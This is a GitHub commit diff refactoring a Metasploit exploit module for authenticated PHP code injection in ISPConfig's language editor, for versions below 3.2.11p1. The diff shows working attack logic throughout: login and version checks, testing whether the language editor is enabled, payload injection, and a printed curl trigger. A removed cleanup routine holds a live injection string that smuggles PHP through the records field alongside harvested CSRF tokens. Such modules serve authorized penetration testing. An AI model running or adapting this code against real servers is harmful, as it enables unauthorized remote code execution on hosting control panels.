Skip to content

Commit 47f2ba2

Browse files
committed
removed: unused imports, and functions, removed: falsey statements, resolved: changes
1 parent ff15b58 commit 47f2ba2

File tree

1 file changed

+33
-99
lines changed

1 file changed

+33
-99
lines changed

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 33 additions & 99 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@ class MetasploitModule < Msf::Exploit::Remote
88

99
prepend Msf::Exploit::Remote::AutoCheck
1010
include Msf::Exploit::Remote::HttpClient
11-
include Msf::Exploit::FileDropper
1211

1312
def initialize(info = {})
1413
super(
@@ -70,53 +69,46 @@ def initialize(info = {})
7069
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
7170
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
7271
])
73-
74-
@authenticated = false
7572
end
7673

7774
def check
7875
print_status('Checking if the target is ISPConfig...')
76+
# Always try to log in and parse version, since credentials are required
77+
# Clear any existing cookies before login
78+
cookie_jar.clear
7979

80-
# Try to log in and parse version if credentials are provided
81-
if datastore['USERNAME'] && datastore['PASSWORD']
82-
# Clear any existing cookies before login
83-
cookie_jar.clear
84-
85-
login_res = send_request_cgi!({
86-
'method' => 'POST',
87-
'uri' => normalize_uri(target_uri.path, 'login/'),
88-
'vars_post' => {
89-
'username' => datastore['USERNAME'],
90-
'password' => datastore['PASSWORD'],
91-
's_mod' => 'login'
92-
},
80+
login_res = send_request_cgi!({
81+
'method' => 'POST',
82+
'uri' => normalize_uri(target_uri.path, 'login/'),
83+
'vars_post' => {
84+
'username' => datastore['USERNAME'],
85+
'password' => datastore['PASSWORD'],
86+
's_mod' => 'login'
87+
},
88+
'keep_cookies' => true
89+
})
90+
if login_res && (login_res.headers['Location']&.include?('admin') || login_res.body.downcase.include?('dashboard'))
91+
# Try to access the dashboard or settings page
92+
settings_res = send_request_cgi({
93+
'method' => 'GET',
94+
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
9395
'keep_cookies' => true
9496
})
95-
if login_res && (login_res.headers['Location']&.include?('admin') || login_res.body.downcase.include?('dashboard'))
96-
# Try to access the dashboard or settings page
97-
settings_res = send_request_cgi({
98-
'method' => 'GET',
99-
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
100-
'keep_cookies' => true
101-
})
102-
if settings_res
103-
doc = settings_res.get_html_document
104-
# Try to find version in a span, div, or similar element
105-
version_element = doc.at('//p[@class="frmTextHead"]')
106-
if version_element
107-
version_text = version_element.text
108-
version = version_text.split(":")[1].gsub(" ","")
109-
version = Rex::Version.new(version)
110-
if version < Rex::Version.new('3.2.11p1')
111-
print_good("ISPConfig version detected: #{version_text}")
112-
@authenticated = true
113-
return CheckCode::Vulnerable("Version: #{version_text}")
114-
end
97+
if settings_res
98+
doc = settings_res.get_html_document
99+
# Try to find version in a span, div, or similar element
100+
version_element = doc.at('//p[@class="frmTextHead"]')
101+
if version_element
102+
version_text = version_element.text
103+
version = version_text.split(":")[1].gsub(" ","")
104+
version = Rex::Version.new(version)
105+
if version < Rex::Version.new('3.2.11p1')
106+
print_good("ISPConfig version detected: #{version_text}")
107+
return CheckCode::Vulnerable("Version: #{version_text}")
115108
end
116109
end
117110
end
118111
end
119-
120112
CheckCode::Safe
121113
end
122114

@@ -162,10 +154,10 @@ def check_langedit_permission
162154
'keep_cookies' => true
163155
})
164156

165-
if res && res.code == 200 && res.body.include?('language_edit')
157+
if res&.code == 200 && res.body.include?('language_edit')
166158
print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
167159
return true
168-
elsif res && res.code == 403
160+
elsif res&.code == 403
169161
print_warning('Language editor access denied - admin_allow_langedit may be disabled')
170162
return false
171163
else
@@ -269,66 +261,9 @@ def inject_payload
269261
return payload_url
270262
end
271263

272-
def trigger_payload(payload_url)
273-
print_status('Triggering PHP payload...')
274-
# Small delay to ensure the file is written
275-
sleep(1)
276-
res = send_request_cgi({
277-
'method' => 'GET',
278-
'uri' => payload_url,
279-
'keep_cookies' => true
280-
})
281-
if res&.code == 200
282-
print_good('PHP payload triggered successfully')
283-
else
284-
print_warning('Payload trigger response was unexpected')
285-
end
286-
end
287-
288-
def cleanup
289-
return unless @payload_file
290-
print_status('Cleaning up payload file...')
291-
# Use the same vulnerability to delete the file
292-
injection = "'];unlink('#{@payload_file}');die;#"
293-
lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng"
294-
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
295-
initial_data = {
296-
'lang' => 'en',
297-
'module' => 'help',
298-
'lang_file' => lang_file
299-
}
300-
res = send_request_cgi({
301-
'method' => 'POST',
302-
'uri' => edit_url,
303-
'vars_post' => initial_data,
304-
'keep_cookies' => true
305-
})
306-
return unless res
307-
doc = res.get_html_document
308-
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
309-
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
310-
return unless csrf_id && csrf_key
311-
injection_data = {
312-
'lang' => 'en',
313-
'module' => 'help',
314-
'lang_file' => lang_file,
315-
'_csrf_id' => csrf_id,
316-
'_csrf_key' => csrf_key,
317-
'records[\\]' => injection
318-
}
319-
send_request_cgi({
320-
'method' => 'POST',
321-
'uri' => edit_url,
322-
'vars_post' => injection_data,
323-
'keep_cookies' => true
324-
})
325-
print_good("Payload file #{@payload_file} cleaned up")
326-
end
327-
328264
def exploit
329-
unless @authenticated
330-
authenticate
331-
@authenticated = true
265+
unless authenticate
266+
fail_with(Failure::NoAccess, 'Login failed')
332267
end
333268

334269
# Check if language editor permissions are enabled
@@ -349,7 +284,6 @@ def exploit
349284

350285
payload_url = inject_payload
351286
print_status('Starting payload handler...')
352-
trigger_payload(payload_url)
353287
print_status('Manual trigger information:')
354288
print_line("URL: #{full_uri}#{payload_url}")
355289
print_line("Manual trigger: curl '#{full_uri}#{payload_url}'")

0 commit comments

Comments
 (0)